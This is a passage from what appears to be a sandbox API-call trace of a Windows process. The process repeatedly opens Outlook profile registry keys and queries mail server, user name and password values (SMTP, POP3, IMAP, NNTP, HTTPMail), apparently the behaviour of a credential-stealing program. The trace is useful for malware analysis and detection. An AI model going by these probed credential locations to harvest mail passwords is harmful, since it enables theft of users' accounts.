lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.260] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.260] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.260] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.260] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.260] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.260] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1cfb96c6c96b454ebff73da2e9f63f51", phkResult=0x54deca0 | out: phkResult=0x54deca0*=0x6f8) returned 0x0 [0096.261] RegEnumKeyExA (in: hKey=0x6f8, dwIndex=0x0, lpName=0x54decb0, lpcchName=0x54df4d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x54df4d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0096.261] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.261] LocalFree (hMem=0x28e7670) returned 0x0 [0096.261] RegEnumKeyExA (in: hKey=0x368, dwIndex=0x5, lpName=0x54df510, lpcchName=0x54dfd38, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="3517490d76624c419a828607e2a54604", lpcchName=0x54dfd38, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0096.261] lstrlenA (lpString="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook") returned 55 [0096.261] LocalAlloc (uFlags=0x40, uBytes=0xd7) returned 0x28e7670 [0096.261] wsprintfA (in: param_1=0x28e7670, param_2="%s\\%s" | out: param_1="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604") returned 88 [0096.261] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.261] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.261] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.261] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.261] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.261] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.261] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.261] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.261] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.261] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.261] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.261] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.262] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.262] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.262] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.262] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.262] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.262] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.262] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.262] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.262] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.262] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.262] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.262] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.262] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.262] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.262] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.262] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.263] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.263] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.263] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.263] RegQueryValueExA (in: hKey=0x6f8, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.263] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.263] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.263] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.263] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.263] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.263] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.263] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.263] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.263] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.263] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.263] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.263] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.263] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.263] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.264] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.264] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.264] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.264] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.264] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.264] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.264] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.264] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.264] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.264] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.264] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.264] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.264] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.264] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.264] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.264] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.264] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.265] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.265] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.265] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.265] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.265] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.265] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.265] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.265] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.265] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.265] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.265] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.265] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.265] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.265] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.265] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.265] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.266] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.266] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.266] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.266] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.266] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.266] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.266] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.266] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.266] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.266] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.266] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.266] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.266] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.266] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.266] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.266] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.266] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.267] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.267] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.267] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.267] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.267] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.267] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.267] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.267] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.267] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.267] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.267] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.267] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.267] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.267] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.267] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.267] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.267] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.267] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.267] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.268] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.268] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.268] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.268] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.268] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.268] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.268] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.268] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.268] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.268] RegQueryValueExA (in: hKey=0x6f8, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.268] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.268] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.268] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, 